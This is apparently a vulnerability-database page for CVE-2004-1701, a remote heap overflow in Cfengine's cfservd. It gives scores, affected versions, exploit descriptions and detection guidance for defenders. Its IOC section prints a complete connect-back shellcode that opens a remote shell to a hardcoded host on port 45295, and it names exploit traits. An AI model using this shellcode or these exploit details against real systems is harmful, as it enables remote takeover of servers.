CVE-2004-1701
published 2004-08-09CVE-2004-1701: Heap-based buffer overflow in the AuthenticationDialogue function in cfservd for Cfengine 2.0.0 to 2.1.7p1 allows remote attackers to execute arbitrary code…
PriorityP355critical10CVSS 2.0
AVNACLAuNCCICAC
EXPLOIT
EPSS
19.51%
97.1th percentile
Heap-based buffer overflow in the AuthenticationDialogue function in cfservd for Cfengine 2.0.0 to 2.1.7p1 allows remote attackers to execute arbitrary code via a long SAUTH command during RSA authentication.
Affected
11 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| gnu | cfengine | — | — |
| gnu | cfengine | — | — |
| gnu | cfengine | — | — |
| gnu | cfengine | — | — |
| gnu | cfengine | — | — |
| gnu | cfengine | — | — |
| gnu | cfengine | — | — |
| gnu | cfengine | — | — |
| gnu | cfengine | — | — |
| gnu | cfengine | — | — |
| gnu | cfengine | — | — |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51\x68\x41\x42\x43\x44\x66\x68\xb0\xef\xb1\x02\x66\x51\x89\xe7\xb3\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x02\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80
- →Detect exploit attempts by matching the crafted protocol message pattern sent to cfservd: a CAUTH packet followed immediately by an oversized SAUTH packet with a large nonce_len field (e.g., '00001000') and payload exceeding normal bounds. ↗
- →Monitor cfservd (default ports 5308 and 5803) for SAUTH commands where the declared nonce_len ('00001000' = 4096 decimal) far exceeds the actual buffer size, indicating heap overflow exploitation. ↗
- →Alert on inbound connections to cfservd that send the literal challenge string 'HARE KRISHNA HARE' in the CAUTH phase, which is the fixed challenge string used by both public exploits. ↗
- →The exploit uses a connect-back shellcode on port 45295; monitor for unexpected outbound TCP connections from cfservd processes to attacker-controlled hosts on this port. ↗
- →The exploit short-jump NOP sled uses repeated 0x7f 0xeb byte pairs before the shellcode; this byte pattern in network payloads targeting cfservd ports is a strong indicator of exploitation. ↗
- ·cfservd uses IP-based access control that must be bypassed before exploitation is possible; exploitation attempts from non-whitelisted IPs will be blocked at the application layer, potentially limiting exposure. ↗
- ·The GOT address used for heap unlink overwrite is specific to each target distribution and cfengine build; the exploit requires the attacker to know or brute-force the correct GOT/ret addresses per platform. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
GNU CFEngine 2.0.x/2.1 - AuthenticationDialogue Remote Heap Buffer Overrun (2)
exploitdb·2004-08-09
CVE-2004-1701 GNU CFEngine 2.0.x/2.1 - AuthenticationDialogue Remote Heap Buffer Overrun (2)
GNU CFEngine 2.0.x/2.1 - AuthenticationDialogue Remote Heap Buffer Overrun (2)
---
// source: https://www.securityfocus.com/bid/10899/info
GNU cfengine cfservd is reported prone to a remote heap-based buffer overrun vulnerability. The vulnerability presents itself in the cfengine cfservd AuthenticationDialogue() function.
The issue exists due to a lack of sufficient boundary checks performed on challenge data that is received from a client.
Because the size of the buffer, the size of data copied in a memcpy() operation, and the data copied are all controlled by the attacker, a remote attacker may likely exploit this condition to corrupt in-line heap based memory management data.
cfservd employs an IP based access control method. This access control must be bypassed prior to exploitat
Exploit-DB
GNU CFEngine 2.0.x/2.1 - AuthenticationDialogue Remote Heap Buffer Overrun (1)
exploitdb·2004-08-09
CVE-2004-1701 GNU CFEngine 2.0.x/2.1 - AuthenticationDialogue Remote Heap Buffer Overrun (1)
GNU CFEngine 2.0.x/2.1 - AuthenticationDialogue Remote Heap Buffer Overrun (1)
---
source: https://www.securityfocus.com/bid/10899/info
GNU cfengine cfservd is reported prone to a remote heap-based buffer overrun vulnerability. The vulnerability presents itself in the cfengine cfservd AuthenticationDialogue() function.
The issue exists due to a lack of sufficient boundary checks performed on challenge data that is received from a client.
Because the size of the buffer, the size of data copied in a memcpy() operation, and the data copied are all controlled by the attacker, a remote attacker may likely exploit this condition to corrupt in-line heap based memory management data.
cfservd employs an IP based access control method. This access control must be bypassed prior to exploitation
No writeups or analysis indexed.
http://marc.info/?l=bugtraq&m=109208394910086&w=2http://marc.info/?l=bugtraq&m=110886670528775&w=2http://secunia.com/advisories/12251http://security.gentoo.org/glsa/glsa-200408-08.xmlhttp://www.coresecurity.com/common/showdoc.php?idx=387&idxseccion=10http://www.securityfocus.com/bid/10899https://exchange.xforce.ibmcloud.com/vulnerabilities/16935http://marc.info/?l=bugtraq&m=109208394910086&w=2http://marc.info/?l=bugtraq&m=110886670528775&w=2http://secunia.com/advisories/12251http://security.gentoo.org/glsa/glsa-200408-08.xmlhttp://www.coresecurity.com/common/showdoc.php?idx=387&idxseccion=10http://www.securityfocus.com/bid/10899https://exchange.xforce.ibmcloud.com/vulnerabilities/16935
2004-08-09
Published